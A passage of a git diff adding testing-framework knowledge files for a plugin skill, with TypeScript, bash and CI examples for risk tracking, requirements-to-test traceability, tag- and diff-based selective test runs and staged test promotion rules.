+  // Generate risk report
+  generateReport(): string {
+    const allRisks = Array.from(this.risks.values());
+    const critical = allRisks.filter((r) => r.score === 9 && r.status === 'OPEN');
+    const high = allRisks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+    const mitigated = allRisks.filter((r) => r.status === 'MITIGATED');
+    const waived = allRisks.filter((r) => r.status === 'WAIVED');
+
+    let report = `# Risk Mitigation Report\n\n`;
+    report += `**Generated**: ${new Date().toISOString()}\n\n`;
+    report += `## Summary\n`;
+    report += `- Total Risks: ${allRisks.length}\n`;
+    report += `- Critical (Score=9, OPEN): ${critical.length}\n`;
+    report += `- High (Score 6-8, OPEN): ${high.length}\n`;
+    report += `- Mitigated: ${mitigated.length}\n`;
+    report += `- Waived: ${waived.length}\n\n`;
+
+    if (critical.length > 0) {
+      report += `## 🚨 Critical Risks (BLOCKERS)\n\n`;
+      critical.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score} (Probability: ${r.probability}, Impact: ${r.impact})\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Mitigation: ${r.mitigationPlan || 'NOT ASSIGNED'}\n\n`;
+      });
+    }
+
+    if (high.length > 0) {
+      report += `## ⚠️  High Risks\n\n`;
+      high.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score}\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Deadline: ${r.deadline?.toISOString().split('T')[0] || 'NOT SET'}\n\n`;
+      });
+    }
+
+    return report;
+  }
+
+  private logHistory(riskId: string, event: string): void {
+    this.history.push({ riskId, event, timestamp: new Date() });
+  }
+
+  getHistory(riskId: string): Array<{ event: string; timestamp: Date }> {
+    return this.history.filter((h) => h.riskId === riskId).map((h) => ({ event: h.event, timestamp: h.timestamp }));
+  }
+}
+```
+
+**Usage Example**:
+
+```typescript
+const tracker = new RiskMitigationTracker();
+
+// Register critical security risk
+tracker.addRisk({
+  id: 'risk-001',
+  category: 'SEC',
+  title: 'SQL injection vulnerability in user search',
+  description: 'Unsanitized input allows arbitrary SQL execution',
+  probability: 3,
+  impact: 3,
+  score: 9,
+  owner: 'security-team',
+  status: 'OPEN',
+});
+
+// Add mitigation actions
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add parameterized queries to user-search endpoint',
+  owner: 'alice@example.com',
+  deadline: new Date('2025-10-20'),
+  status: 'IN_PROGRESS',
+});
+
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add WAF rule to block SQL injection patterns',
+  owner: 'bob@example.com',
+  deadline: new Date('2025-10-22'),
+  status: 'PENDING',
+});
+
+// Complete first action
+tracker.completeMitigation('risk-001', 0);
+
+// Generate report
+console.log(tracker.generateReport());
+// Markdown report with critical risks, owners, deadlines
+
+// View history
+console.log(tracker.getHistory('risk-001'));
+// [
+//   { event: 'Risk registered: SQL injection...', timestamp: ... },
+//   { event: 'Mitigation action added: Add parameterized queries...', timestamp: ... },
+//   { event: 'Mitigation completed: Add parameterized queries...', timestamp: ... }
+// ]
+```
+
+**Key Points**:
+
+- **Ownership enforcement**: Every risk >4 requires owner assignment
+- **Deadline tracking**: Mitigation actions have explicit deadlines
+- **Audit trail**: Complete history of risk lifecycle (registered → mitigated)
+- **Automated reports**: Markdown output for Confluence/GitHub wikis
+
+---
+
+### Example 4: Coverage Traceability Matrix (Test-to-Requirement Mapping)
+
+**Context**: Validate that every acceptance criterion maps to at least one test
+
+**Implementation**:
+
+```typescript
+// coverage-traceability.ts
+export type AcceptanceCriterion = {
+  id: string;
+  story: string;
+  criterion: string;
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+};
+
+export type TestCase = {
+  file: string;
+  name: string;
+  criteriaIds: string[]; // Links to acceptance criteria
+};
+
+export type CoverageMatrix = {
+  criterion: AcceptanceCriterion;
+  tests: TestCase[];
+  covered: boolean;
+  waiverReason?: string;
+};
+
+export function buildCoverageMatrix(criteria: AcceptanceCriterion[], tests: TestCase[]): CoverageMatrix[] {
+  return criteria.map((criterion) => {
+    const matchingTests = tests.filter((t) => t.criteriaIds.includes(criterion.id));
+
+    return {
+      criterion,
+      tests: matchingTests,
+      covered: matchingTests.length > 0,
+    };
+  });
+}
+
+export function validateCoverage(matrix: CoverageMatrix[]): {
+  gaps: CoverageMatrix[];
+  passRate: number;
+} {
+  const gaps = matrix.filter((m) => !m.covered && !m.waiverReason);
+  const passRate = ((matrix.length - gaps.length) / matrix.length) * 100;
+
+  return { gaps, passRate };
+}
+
+// Example: Extract criteria IDs from test names
+export function extractCriteriaFromTests(testFiles: string[]): TestCase[] {
+  // Simplified: In real implementation, parse test files with AST
+  // Here we simulate extraction from test names
+  return [
+    {
+      file: 'tests/e2e/auth/login.spec.ts',
+      name: 'should allow user to login with valid credentials',
+      criteriaIds: ['AC-001', 'AC-002'], // Linked to acceptance criteria
+    },
+    {
+      file: 'tests/e2e/auth/password-reset.spec.ts',
+      name: 'should send password reset email',
+      criteriaIds: ['AC-003'],
+    },
+  ];
+}
+
+// Generate Markdown traceability report
+export function generateTraceabilityReport(matrix: CoverageMatrix[]): string {
+  let report = `# Requirements-to-Tests Traceability Matrix\n\n`;
+  report += `**Generated**: ${new Date().toISOString()}\n\n`;
+
+  const { gaps, passRate } = validateCoverage(matrix);
+
+  report += `## Summary\n`;
+  report += `- Total Criteria: ${matrix.length}\n`;
+  report += `- Covered: ${matrix.filter((m) => m.covered).length}\n`;
+  report += `- Gaps: ${gaps.length}\n`;
+  report += `- Waived: ${matrix.filter((m) => m.waiverReason).length}\n`;
+  report += `- Coverage Rate: ${passRate.toFixed(1)}%\n\n`;
+
+  if (gaps.length > 0) {
+    report += `## ❌ Coverage Gaps (MUST RESOLVE)\n\n`;
+    report += `| Story | Criterion | Priority | Tests |\n`;
+    report += `|-------|-----------|----------|-------|\n`;
+    gaps.forEach((m) => {
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${m.criterion.priority} | None |\n`;
+    });
+    report += `\n`;
+  }
+
+  report += `## ✅ Covered Criteria\n\n`;
+  report += `| Story | Criterion | Tests |\n`;
+  report += `|-------|-----------|-------|\n`;
+  matrix
+    .filter((m) => m.covered)
+    .forEach((m) => {
+      const testList = m.tests.map((t) => `\`${t.file}\``).join(', ');
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${testList} |\n`;
+    });
+
+  return report;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Define acceptance criteria
+const criteria: AcceptanceCriterion[] = [
+  { id: 'AC-001', story: 'US-123', criterion: 'User can login with email', priority: 'P0' },
+  { id: 'AC-002', story: 'US-123', criterion: 'User sees error on invalid password', priority: 'P0' },
+  { id: 'AC-003', story: 'US-124', criterion: 'User receives password reset email', priority: 'P1' },
+  { id: 'AC-004', story: 'US-125', criterion: 'User can update profile', priority: 'P2' }, // NO TEST
+];
+
+// Extract tests
+const tests: TestCase[] = extractCriteriaFromTests(['tests/e2e/auth/login.spec.ts', 'tests/e2e/auth/password-reset.spec.ts']);
+
+// Build matrix
+const matrix = buildCoverageMatrix(criteria, tests);
+
+// Validate
+const { gaps, passRate } = validateCoverage(matrix);
+console.log(`Coverage: ${passRate.toFixed(1)}%`); // "Coverage: 75.0%"
+console.log(`Gaps: ${gaps.length}`); // "Gaps: 1" (AC-004 has no test)
+
+// Generate report
+const report = generateTraceabilityReport(matrix);
+console.log(report);
+// Markdown table showing coverage gaps
+```
+
+**Key Points**:
+
+- **Bidirectional traceability**: Criteria → Tests and Tests → Criteria
+- **Gap detection**: Automatically identifies missing coverage
+- **Priority awareness**: P0 gaps are critical blockers
+- **Waiver support**: Allow explicit waivers for low-priority gaps
+
+---
+
+## Risk Governance Checklist
+
+Before deploying to production, ensure:
+
+- [ ] **Risk scoring complete**: All identified risks scored (Probability × Impact)
+- [ ] **Ownership assigned**: Every risk >4 has owner, mitigation plan, deadline
+- [ ] **Coverage validated**: Every acceptance criterion maps to at least one test
+- [ ] **Gate decision documented**: PASS/CONCERNS/FAIL/WAIVED with rationale
+- [ ] **Waivers approved**: All waivers have approver, reason, expiry date
+- [ ] **Audit trail captured**: Risk history log available for compliance review
+- [ ] **Traceability matrix**: Requirements-to-tests mapping up to date
+- [ ] **Critical risks resolved**: No score=9 risks in OPEN status
+
+## Integration Points
+
+- **Used in workflows**: `*trace` (Phase 2: gate decision), `*nfr-assess` (risk scoring), `*test-design` (risk identification)
+- **Related fragments**: `probability-impact.md` (scoring definitions), `test-priorities-matrix.md` (P0-P3 classification), `nfr-criteria.md` (non-functional risks)
+- **Tools**: Risk tracking dashboards (Jira, Linear), gate automation (CI/CD), traceability reports (Markdown, Confluence)
+
+_Source: Murat risk governance notes, gate schema guidance, enterprise production gate workflows, ISO 31000 risk management standards_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/selective-testing.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/selective-testing.md
new file mode 100644
index 0000000..e8becc3
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/selective-testing.md
@@ -0,0 +1,732 @@
+# Selective and Targeted Test Execution
+
+## Principle
+
+Run only the tests you need, when you need them. Use tags/grep to slice suites by risk priority (not directory structure), filter by spec patterns or git diff to focus on impacted areas, and combine priority metadata (P0-P3) with change detection to optimize pre-commit vs. CI execution. Document the selection strategy clearly so teams understand when full regression is mandatory.
+
+## Rationale
+
+Running the entire test suite on every commit wastes time and resources. Smart test selection provides fast feedback (smoke tests in minutes, full regression in hours) while maintaining confidence. The "32+ ways of selective testing" philosophy balances speed with coverage: quick loops for developers, comprehensive validation before deployment. Poorly documented selection leads to confusion about when tests run and why.
+
+## Pattern Examples
+
+### Example 1: Tag-Based Execution with Priority Levels
+
+**Context**: Organize tests by risk priority and execution stage using grep/tag patterns.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Tag-based test organization
+ * - @smoke: Critical path tests (run on every commit, < 5 min)
+ * - @regression: Full test suite (run pre-merge, < 30 min)
+ * - @p0: Critical business functions (payment, auth, data integrity)
+ * - @p1: Core features (primary user journeys)
+ * - @p2: Secondary features (supporting functionality)
+ * - @p3: Nice-to-have (cosmetic, non-critical)
+ */
+
+test.describe('Checkout Flow', () => {
+  // P0 + Smoke: Must run on every commit
+  test('@smoke @p0 should complete purchase with valid payment', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('order-confirmation')).toBeVisible();
+  });
+
+  // P0 but not smoke: Run pre-merge
+  test('@regression @p0 should handle payment decline gracefully', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4000000000000002'); // Decline card
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('payment-error')).toBeVisible();
+    await expect(page.getByTestId('payment-error')).toContainText('declined');
+  });
+
+  // P1 + Smoke: Important but not critical
+  test('@smoke @p1 should apply discount code', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('promo-code').fill('SAVE10');
+    await page.getByTestId('apply-promo').click();
+
+    await expect(page.getByTestId('discount-applied')).toBeVisible();
+  });
+
+  // P2: Run in full regression only
+  test('@regression @p2 should remember saved payment methods', async ({ page }) => {
+    await page.goto('/checkout');
+    await expect(page.getByTestId('saved-cards')).toBeVisible();
+  });
+
+  // P3: Low priority, run nightly or weekly
+  test('@nightly @p3 should display checkout page analytics', async ({ page }) => {
+    await page.goto('/checkout');
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS__);
+    expect(analyticsEvents).toBeDefined();
+  });
+});
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test": "playwright test",
+    "test:smoke": "playwright test --grep '@smoke'",
+    "test:p0": "playwright test --grep '@p0'",
+    "test:p0-p1": "playwright test --grep '@p0|@p1'",
+    "test:regression": "playwright test --grep '@regression'",
+    "test:nightly": "playwright test --grep '@nightly'",
+    "test:not-slow": "playwright test --grep-invert '@slow'",
+    "test:critical-smoke": "playwright test --grep '@smoke.*@p0'"
+  }
+}
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout.cy.ts
+describe('Checkout Flow', { tags: ['@checkout'] }, () => {
+  it('should complete purchase', { tags: ['@smoke', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4242424242424242');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="order-confirmation"]').should('be.visible');
+  });
+
+  it('should handle decline', { tags: ['@regression', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4000000000000002');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="payment-error"]').should('be.visible');
+  });
+});
+
+// cypress.config.ts
+export default defineConfig({
+  e2e: {
+    env: {
+      grepTags: process.env.GREP_TAGS || '',
+      grepFilterSpecs: true,
+    },
+    setupNodeEvents(on, config) {
+      require('@cypress/grep/src/plugin')(config);
+      return config;
+    },
+  },
+});
+```
+
+**Usage**:
+
+```bash
+# Playwright
+npm run test:smoke                    # Run all @smoke tests
+npm run test:p0                       # Run all P0 tests
+npm run test -- --grep "@smoke.*@p0"  # Run tests with BOTH tags
+
+# Cypress (with @cypress/grep plugin)
+npx cypress run --env grepTags="@smoke"
+npx cypress run --env grepTags="@p0+@smoke"  # AND logic
+npx cypress run --env grepTags="@p0 @p1"     # OR logic
+```
+
+**Key Points**:
+
+- **Multiple tags per test**: Combine priority (@p0) with stage (@smoke)
+- **AND/OR logic**: Grep supports complex filtering
+- **Clear naming**: Tags document test importance
+- **Fast feedback**: @smoke runs < 5 min, full suite < 30 min
+- **CI integration**: Different jobs run different tag combinations
+
+---
+
+### Example 2: Spec Filter Pattern (File-Based Selection)
+
+**Context**: Run tests by file path pattern or directory for targeted execution.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-spec-runner.sh
+# Run tests based on spec file patterns
+
+set -e
+
+PATTERN=${1:-"**/*.spec.ts"}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Spec Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Pattern: $PATTERN"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Pattern examples and their use cases
+case "$PATTERN" in
+  "**/checkout*")
+    echo "📦 Running checkout-related tests"
+    npx playwright test --grep-files="**/checkout*"
+    ;;
+  "**/auth*"|"**/login*"|"**/signup*")
+    echo "🔐 Running authentication tests"
+    npx playwright test --grep-files="**/auth*|**/login*|**/signup*"
+    ;;
+  "tests/e2e/**")
+    echo "🌐 Running all E2E tests"
+    npx playwright test tests/e2e/
+    ;;
+  "tests/integration/**")
+    echo "🔌 Running all integration tests"
+    npx playwright test tests/integration/
+    ;;
+  "tests/component/**")
+    echo "🧩 Running all component tests"
+    npx playwright test tests/component/
+    ;;
+  *)
+    echo "🔍 Running tests matching pattern: $PATTERN"
+    npx playwright test "$PATTERN"
+    ;;
+esac
+```
+
+**Playwright config for file filtering**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  // ... other config
+
+  // Project-based organization
+  projects: [
+    {
+      name: 'smoke',
+      testMatch: /.*smoke.*\.spec\.ts/,
+      retries: 0,
+    },
+    {
+      name: 'e2e',
+      testMatch: /tests\/e2e\/.*\.spec\.ts/,
+      retries: 2,
+    },
+    {
+      name: 'integration',
+      testMatch: /tests\/integration\/.*\.spec\.ts/,
+      retries: 1,
+    },
+    {
+      name: 'component',
+      testMatch: /tests\/component\/.*\.spec\.ts/,
+      use: { ...devices['Desktop Chrome'] },
+    },
+  ],
+});
+```
+
+**Advanced pattern matching**:
+
+```typescript
+// scripts/run-by-component.ts
+/**
+ * Run tests related to specific component(s)
+ * Usage: npm run test:component UserProfile,Settings
+ */
+
+import { execSync } from 'child_process';
+
+const components = process.argv[2]?.split(',') || [];
+
+if (components.length === 0) {
+  console.error('❌ No components specified');
+  console.log('Usage: npm run test:component UserProfile,Settings');
+  process.exit(1);
+}
+
+// Convert component names to glob patterns
+const patterns = components.map((comp) => `**/*${comp}*.spec.ts`).join(' ');
+
+console.log(`🧩 Running tests for components: ${components.join(', ')}`);
+console.log(`Patterns: ${patterns}`);
+
+try {
+  execSync(`npx playwright test ${patterns}`, {
+    stdio: 'inherit',
+    env: { ...process.env, CI: 'false' },
+  });
+} catch (error) {
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test:checkout": "playwright test **/checkout*.spec.ts",
+    "test:auth": "playwright test **/auth*.spec.ts **/login*.spec.ts",
+    "test:e2e": "playwright test tests/e2e/",
+    "test:integration": "playwright test tests/integration/",
+    "test:component": "ts-node scripts/run-by-component.ts",
+    "test:project": "playwright test --project",
+    "test:smoke-project": "playwright test --project smoke"
+  }
+}
+```
+
+**Key Points**:
+
+- **Glob patterns**: Wildcards match file paths flexibly
+- **Project isolation**: Separate projects have different configs
+- **Component targeting**: Run tests for specific features
+- **Directory-based**: Organize tests by type (e2e, integration, component)
+- **CI optimization**: Run subsets in parallel CI jobs
+
+---
+
+### Example 3: Diff-Based Test Selection (Changed Files Only)
+
+**Context**: Run only tests affected by code changes for maximum speed.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/test-changed-files.sh
+# Intelligent test selection based on git diff
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🔍 Changed File Test Selector"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Get changed files
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Arrays to collect test specs
+DIRECT_TEST_FILES=()
+RELATED_TEST_FILES=()
+RUN_ALL_TESTS=false
+
+# Process each changed file
+while IFS= read -r file; do
+  case "$file" in
+    # Changed test files: run them directly
+    *.spec.ts|*.spec.js|*.test.ts|*.test.js|*.cy.ts|*.cy.js)
+      DIRECT_TEST_FILES+=("$file")
+      ;;
+
+    # Critical config changes: run ALL tests
+    package.json|package-lock.json|playwright.config.ts|cypress.config.ts|tsconfig.json|.github/workflows/*)
+      echo "⚠️  Critical file changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Component changes: find related tests
+    src/components/*.tsx|src/components/*.jsx)
+      COMPONENT_NAME=$(basename "$file" | sed 's/\.[^.]*$//')
+      echo "🧩 Component changed: $COMPONENT_NAME"
+
+      # Find tests matching component name
+      FOUND_TESTS=$(find tests -name "*${COMPONENT_NAME}*.spec.ts" -o -name "*${COMPONENT_NAME}*.cy.ts" 2>/dev/null || true)
+      if [ -n "$FOUND_TESTS" ]; then
+        while IFS= read -r test_file; do
+          RELATED_TEST_FILES+=("$test_file")
+        done <<< "$FOUND_TESTS"
+      fi
+      ;;
+
+    # Utility/lib changes: run integration + unit tests
+    src/utils/*|src/lib/*|src/helpers/*)
+      echo "⚙️  Utility file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/unit tests/integration -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # API changes: run integration + e2e tests
+    src/api/*|src/services/*|src/controllers/*)
+      echo "🔌 API file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/integration tests/e2e -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # Type changes: run all TypeScript tests
+    *.d.ts|src/types/*)
+      echo "📝 Type definition changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Documentation only: skip tests
+    *.md|docs/*|README*)
+      echo "📄 Documentation changed: $file (no tests needed)"
+      ;;
+
+    *)
+      echo "❓ Unclassified change: $file (running smoke tests)"
+      RELATED_TEST_FILES+=($(find tests -name "*smoke*.spec.ts" 2>/dev/null || true))
+      ;;
+  esac
+done <<< "$CHANGED_FILES"
+
+# Execute tests based on analysis
+if [ "$RUN_ALL_TESTS" = true ]; then
+  echo ""
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🚨 Running FULL test suite (critical changes detected)"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  npm run test
+  exit $?
+fi
+
+# Combine and deduplicate test files
+ALL_TEST_FILES=(${DIRECT_TEST_FILES[@]} ${RELATED_TEST_FILES[@]})
+UNIQUE_TEST_FILES=($(echo "${ALL_TEST_FILES[@]}" | tr ' ' '\n' | sort -u))
+
+if [ ${#UNIQUE_TEST_FILES[@]} -eq 0 ]; then
+  echo ""
+  echo "✅ No tests found for changed files. Running smoke tests."
+  npm run test:smoke
+  exit $?
+fi
+
+echo ""
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎯 Running ${#UNIQUE_TEST_FILES[@]} test file(s)"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+for test_file in "${UNIQUE_TEST_FILES[@]}"; do
+  echo "  - $test_file"
+done
+
+echo ""
+npm run test -- "${UNIQUE_TEST_FILES[@]}"
+```
+
+**GitHub Actions integration**:
+
+```yaml
+# .github/workflows/test-changed.yml
+name: Test Changed Files
+on:
+  pull_request:
+    types: [opened, synchronize, reopened]
+
+jobs:
+  detect-and-test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Get changed files
+        id: changed-files
+        uses: tj-actions/changed-files@v40
+        with:
+          files: |
+            src/**
+            tests/**
+            *.config.ts
+          files_ignore: |
+            **/*.md
+            docs/**
+
+      - name: Run tests for changed files
+        if: steps.changed-files.outputs.any_changed == 'true'
+        run: |
+          echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
+          bash scripts/test-changed-files.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent mapping**: Code changes → related tests
+- **Critical file detection**: Config changes = full suite
+- **Component mapping**: UI changes → component + E2E tests
+- **Fast feedback**: Run only what's needed (< 2 min typical)
+- **Safety net**: Unrecognized changes run smoke tests
+
+---
+
+### Example 4: Promotion Rules (Pre-Commit → CI → Staging → Production)
+
+**Context**: Progressive test execution strategy across deployment stages.
+
+**Implementation**:
+
+```typescript
+// scripts/test-promotion-strategy.ts
+/**
+ * Test Promotion Strategy
+ * Defines which tests run at each stage of the development lifecycle
+ */
+
+export type TestStage = 'pre-commit' | 'ci-pr' | 'ci-merge' | 'staging' | 'production';
+
+export type TestPromotion = {
+  stage: TestStage;
+  description: string;
+  testCommand: string;
+  timebudget: string; // minutes
+  required: boolean;
+  failureAction: 'block' | 'warn' | 'alert';
+};
+
+export const TEST_PROMOTION_RULES: Record<TestStage, TestPromotion> = {
+  'pre-commit': {
+    stage: 'pre-commit',
+    description: 'Local developer checks before git commit',
+    testCommand: 'npm run test:smoke',
+    timebudget: '2',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-pr': {
+    stage: 'ci-pr',
+    description: 'CI checks on pull request creation/update',
+    testCommand: 'npm run test:changed && npm run test:p0-p1',
+    timebudget: '10',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-merge': {
+    stage: 'ci-merge',
+    description: 'Full regression before merge to main',
+    testCommand: 'npm run test:regression',
+    timebudget: '30',
+    required: true,
+    failureAction: 'block',
+  },
+  staging: {
+    stage: 'staging',
+    description: 'Post-deployment validation in staging environment',
+    testCommand: 'npm run test:e2e -- --grep "@smoke"',
+    timebudget: '15',
+    required: true,
+    failureAction: 'block',
+  },
+  production: {
+    stage: 'production',
+    description: 'Production smoke tests post-deployment',
+    testCommand: 'npm run test:e2e:prod -- --grep "@smoke.*@p0"',
+    timebudget: '5',
+    required: false,
+    failureAction: 'alert',
+  },
+};
+
+/**
+ * Get tests to run for a specific stage
+ */
+export function getTestsForStage(stage: TestStage): TestPromotion {
+  return TEST_PROMOTION_RULES[stage];
+}
+
+/**
+ * Validate if tests can be promoted to next stage
+ */
+export function canPromote(currentStage: TestStage, testsPassed: boolean): boolean {
+  const promotion = TEST_PROMOTION_RULES[currentStage];
+
+  if (!promotion.required) {
+    return true; // Non-required tests don't block promotion
+  }
+
+  return testsPassed;
+}
+```
+
+**Husky pre-commit hook**:
+
+```bash
+#!/bin/bash
+# .husky/pre-commit
+# Run smoke tests before allowing commit
+
+echo "🔍 Running pre-commit tests..."
+
+npm run test:smoke
+
+if [ $? -ne 0 ]; then
+  echo ""
+  echo "❌ Pre-commit tests failed!"
+  echo "Please fix failures before committing."
+  echo ""
+  echo "To skip (NOT recommended): git commit --no-verify"
+  exit 1
+fi
+
+echo "✅ Pre-commit tests passed"
+```
+
+**GitHub Actions workflow**:
+
+```yaml
+# .github/workflows/test-promotion.yml
+name: Test Promotion Strategy
+on:
+  pull_request:
+  push:
+    branches: [main]
+  workflow_dispatch:
+
+jobs:
+  # Stage 1: PR tests (changed + P0-P1)
+  pr-tests:
+    if: github.event_name == 'pull_request'
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run PR-level tests
+        run: |
+          npm run test:changed
+          npm run test:p0-p1
+
+  # Stage 2: Full regression (pre-merge)
+  regression-tests:
+    if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run full regression
+        run: npm run test:regression
+
+  # Stage 3: Staging validation (post-deploy)
+  staging-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run staging smoke tests
+        run: npm run test:e2e -- --grep "@smoke"
+        env:
+          TEST_ENV: staging
+
+  # Stage 4: Production smoke (post-deploy, non-blocking)
+  production-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 5
+    continue-on-error: true # Don't fail deployment if smoke tests fail
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run production smoke tests
+        run: npm run test:e2e:prod -- --grep "@smoke.*@p0"
+        env:
+          TEST_ENV: production
+
+      - name: Alert on failure
+        if: failure()
+        uses: 8398a7/action-slack@v3
+        with:
+          status: ${{ job.status }}
+          text: '🚨 Production smoke tests failed!'
+          webhook_url: ${{ secrets.SLACK_WEBHOOK }}
+```
+
+**Selection strategy documentation**:
+
+````markdown
+# Test Selection Strategy
+
+## Test Promotion Stages
+
+| Stage      | Tests Run           | Time Budget | Blocks Deploy | Failure Action |
+| ---------- | ------------------- | ----------- | ------------- | -------------- |
+| Pre-Commit | Smoke (@smoke)      | 2 min       | ✅ Yes        | Block commit   |
+| CI PR      | Changed + P0-P1     | 10 min      | ✅ Yes        | Block merge    |
+| CI Merge   | Full regression     | 30 min      | ✅ Yes        | Block deploy   |
+| Staging    | E2E smoke           | 15 min      | ✅ Yes        | Rollback       |
+| Production | Critical smoke only | 5 min       | ❌ No         | Alert team     |
+
+## When Full Regression Runs
+
+Full regression suite (`npm run test:regression`) runs in these scenarios:
+
+- ✅ Before merging to `main` (CI Merge stage)
+- ✅ Nightly builds (scheduled workflow)
+- ✅ Manual trigger (workflow_dispatch)
+- ✅ Release candidate testing
+
+Full regression does NOT run on:
+
+- ❌ Every PR commit (too slow)
+- ❌ Pre-commit hooks (too slow)
+- ❌ Production deployments (deploy-blocking)
+
+## Override Scenarios
+
+Skip tests (emergency only):
+
+```bash
+git commit --no-verify  # Skip pre-commit hook
+gh pr merge --admin     # Force merge (requires admin)
+```
+````
+
+```
+
+**Key Points**:
+- **Progressive validation**: More tests at each stage
+- **Time budgets**: Clear expectations per stage
+- **Blocking vs. alerting**: Production tests don't block deploy
+- **Documentation**: Team knows when full regression runs
+- **Emergency overrides**: Documented but discouraged
+
+---
+
+## Test Selection Strategy Checklist
+
+Before implementing selective testing, verify:
+
+- [ ] **Tag strategy defined**: @smoke, @p0-p3, @regression documented
+- [ ] **Time budgets set**: Each stage has clear timeout (smoke < 5 min, full < 30 min)
+- [ ] **Changed file mapping**: Code changes → test selection logic implemented
+- [ ] **Promotion rules documented**: README explains when full regression runs
+- [ ] **CI integration**: GitHub Actions uses selective strategy
+- [ ] **Local parity**: Developers can run same selections locally
+- [ ] **Emergency overrides**: Skip mechanisms documented (--no-verify, admin merge)
+- [ ] **Metrics tracked**: Monitor test execution time and selection accuracy
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD setup), `*automate` (test generation with tags)
+- Related fragments: `ci-burn-in.md`, `test-priorities-matrix.md`, `test-quality.md`
+- Selection tools: Playwright --grep, Cypress @cypress/grep, git diff
+
+_Source: 32+ selective testing strategies blog, Murat testing philosophy, enterprise CI optimization_
+```
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/selector-resilience.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/selector-resilience.md
new file mode 100644
index 0000000..06f0b04
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/selector-resilience.md
@@ -0,0 +1,527 @@
+# Selector Resilience
